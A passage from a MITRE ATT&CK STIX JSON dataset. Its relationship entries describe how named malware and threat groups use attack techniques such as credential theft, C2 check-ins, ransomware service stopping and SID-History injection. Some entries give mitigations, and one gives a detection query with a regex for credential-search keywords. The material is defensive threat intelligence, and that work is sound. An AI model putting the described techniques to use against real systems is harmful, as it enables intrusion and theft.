secured.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e4118bb-715d-49b8-82e6-1eaed4a9d96a","created":"2024-02-08T01:11:42.401Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T01:11:42.401Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) will create a daemon for timed check-ins with command and control infrastructure.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e418cf0-fbe4-4de1-84bf-e137c5c0a72a","type":"relationship","created":"2019-01-30T15:19:14.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2019-07-26T23:22:28.281Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can steal credentials in files belonging to common software such as Skype, Telegram, and Steam.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e497bf1-4fdc-40a2-b8a2-3492c1d605e5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2019-04-24T23:41:40.041Z","description":"[POSHSPY](https://attack.mitre.org/software/S0150) uploads data in 2048-byte chunks.(Citation: FireEye POSHSPY April 2017)","relationship_type":"uses","source_ref":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e4e4075-1731-47b5-b95f-7e0b916556d5","type":"relationship","created":"2021-12-06T15:53:35.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"},{"source_name":"Kali Hydra","description":"Kali. (2014, February 18). THC-Hydra. Retrieved November 2, 2017.","url":"https://tools.kali.org/password-attacks/hydra"}],"modified":"2021-12-06T20:45:13.973Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has dropped and executed tools used for password cracking, including Hydra and [CrackMapExec](https://attack.mitre.org/software/S0488).(Citation: US-CERT TA18-074A)(Citation: Kali Hydra)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e4f8216-03ef-4e7a-8a4a-28905fb0f474","type":"relationship","created":"2019-07-29T14:58:44.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.","url":"https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/","source_name":"CarbonBlack RobbinHood May 2019"}],"modified":"2019-07-29T15:46:15.099Z","description":"[RobbinHood](https://attack.mitre.org/software/S0400) stops 181 Windows services on the system before beginning the encryption process.(Citation: CarbonBlack RobbinHood May 2019) ","relationship_type":"uses","source_ref":"malware--0a607c53-df52-45da-a75d-0e53df4dad5f","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e516dd1-f5d6-4aa2-a20a-69959564457d","created":"2024-07-01T15:32:26.071Z","revoked":false,"external_references":[{"source_name":"apt41_mandiant","description":"Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:32:26.071Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used a hidden shell script in `/etc/rc.d/init.d` to leverage the `ADORE.XSEC`backdoor and `Adore-NG` rootkit.(Citation: apt41_mandiant)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e55d71d-b733-41a9-9ad2-a53131617c78","type":"relationship","created":"2021-03-03T16:49:14.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-03T16:49:14.692Z","description":"[LookBack](https://attack.mitre.org/software/S0582) has used VBA macros in Microsoft Word attachments to drop additional files to the host.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e58118d-64b9-43ae-bfd8-cb3c8bf19556","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}],"modified":"2021-09-08T19:22:44.602Z","description":"[SynAck](https://attack.mitre.org/software/S0242) gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.(Citation: SecureList SynAck Doppelgänging May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AdSecurity Kerberos GT Aug 2015","description":"Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.","url":"https://adsecurity.org/?p=1640"},{"source_name":"Adsecurity Mimikatz Guide","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","url":"https://adsecurity.org/?page_id=1821"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-05T14:46:34.592Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002)'s MISC::AddSid module can append any SID or user/group account to a user's SID-History. [Mimikatz](https://attack.mitre.org/software/S0002) also utilizes [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.(Citation: Adsecurity Mimikatz Guide)(Citation: AdSecurity Kerberos GT Aug 2015)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e62e520-0104-4be7-b4e2-d68fa88d7067","created":"2021-10-01T01:57:31.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"},{"source_name":"Intezer TeamTNT September 2020","description":"Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.703Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has deployed different types of containers into victim environments to facilitate execution.(Citation: Intezer TeamTNT September 2020)(Citation: Trend Micro TeamTNT) [TeamTNT](https://attack.mitre.org/groups/G0139) has also transferred cryptocurrency mining software to Kubernetes clusters discovered within local IP address ranges.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e646993-2414-4382-b709-6c5bc02740e3","type":"relationship","created":"2020-02-10T19:49:46.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-10T19:52:47.817Z","description":"Require signed binaries.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e6b6ed9-4c28-4dd0-903a-360f57864de4","created":"2022-10-13T16:06:06.012Z","revoked":false,"external_references":[{"source_name":"NCC Group TA505","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:06:06.012Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used a variety of tools in their operations, including [AdFind](https://attack.mitre.org/software/S0552), [BloodHound](https://attack.mitre.org/software/S0521), [Mimikatz](https://attack.mitre.org/software/S0002), and [PowerSploit](https://attack.mitre.org/software/S0194).(Citation: NCC Group TA505)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3e76b11e-8a9e-4300-b9d4-8cbd8e8bb37f","created":"2019-11-27T13:52:46.033Z","x_mitre_version":"1.0","external_references":[{"source_name":"Secureworks - AT.exe Scheduled Task","url":"https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems","description":"Carvey, H.. (2014, September). Where You AT?: Indicators of Lateral Movement Using at.exe on Windows 7 Systems. Retrieved November 27, 2019."},{"source_name":"Kifarunix - Task Scheduling in Linux","url":"https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/","description":"Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."},{"source_name":"Powersploit","url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit) Windows operating system also creates a registry key specifically associated with the creation of a scheduled task on the destination host at: Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\At1. (Citation: Secureworks - AT.exe Scheduled Task) In Linux and macOS environments, scheduled tasks using [at](https://attack.mitre.org/software/S0110) can be audited locally, or through centrally collected logging, using syslog, or auditd events from the host. (Citation: Kifarunix - Task Scheduling in Linux)","modified":"2022-04-16T20:26:54.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e79db26-a2ce-4233-a86c-5a97b10dd937","type":"relationship","created":"2021-03-12T18:46:47.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.319Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has downloaded a DLL to the C:\\windows\\system32\\drivers\\ folder and renamed it with a .sys extension.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e7a9b97-079a-45bd-8c9b-9d04115b0d89","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:28:34.410Z","description":"While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nAnalytic 1 - Suspicious commands or regular expressions indicating credential search.\n\n (index=security sourcetype=\"Powershell\" EventCode=4104) OR\n(index=os sourcetype=\"linux_secure\" action=\"execve\") OR\n(index=os sourcetype=\"macos_secure\" event_type=\"execve\") | where match(CommandLine, \"(?i)(password|credential|secret|key|token|login|passwd|passphrase)\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e7abaec-8d7a-4a81-be54-03492b6dc2b7","created":"2024-03-07T20:20:31.228Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-07T20:20:31.228Z","description":"[BUSHWALK](https://attack.mitre.org/software/S1118) is a web shell that has the ability to execute arbitrary commands or write files.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--29a0bb87-1162-4c83-9834-2a98a876051b","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.148Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from network shared drives with file extensions and keywords that match a predefined list.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e7e5626-7662-4a51-8dfe-e7fecd368750","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e82234f-db7b-4a0f-8c0a-979b01381a6a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"},{"description":"Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.","url":"https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html","source_name":"Talos MuddyWater May 2019"},{"source_name":"Anomali Static Kitten February 2021","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."}],"modified":"2021-03-17T20:37:58.362Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.(Citation: FireEye MuddyWater Mar 2018)(Citation: Talos MuddyWater May 2019)(Citation: Anomali Static Kitten February 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e91f49c-5342-49d8-8105-7ab17c5ef9f4","created":"2021-05-26T12:26:52.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"IBM ITG07 June 2019","description":"McMillen, D. Sperry, C. (2019, June 14). Observations of ITG07 Cyber Operations. Retrieved May 17, 2021.","url":"https://securityintelligence.com/posts/observations-of-itg07-cyber-operations/"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.778Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has modified and used customized versions of publicly-available tools like PLINK and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: BitDefender Chafer May 2020)(Citation: IBM ITG07 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e925289-8c29-4e14-ac5e-dd4ab927b113","type":"relationship","created":"2020-11-25T19:48:34.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:48.714Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has developed malware for its operations, including malicious mobile applications and destructive malware such as [NotPetya](https://attack.mitre.org/software/S0368) and [Olympic Destroyer](https://attack.mitre.org/software/S0365).(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e93955a-ad40-4e94-b2c6-7676a18571f7","created":"2024-08-27T20:59:01.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T21:10:01.131Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) was installed through exploitation of CVE-2024-39717 in Versa Director servers.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e93cca0-c97a-49b3-af3b-9598b00a27f5","type":"relationship","created":"2021-04-08T19:35:36.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-08T19:38:02.717Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) can disable the system's local proxy settings.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ea6e72b-3d19-4864-aebd-cc31dad7d519","type":"relationship","created":"2020-05-21T21:31:34.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 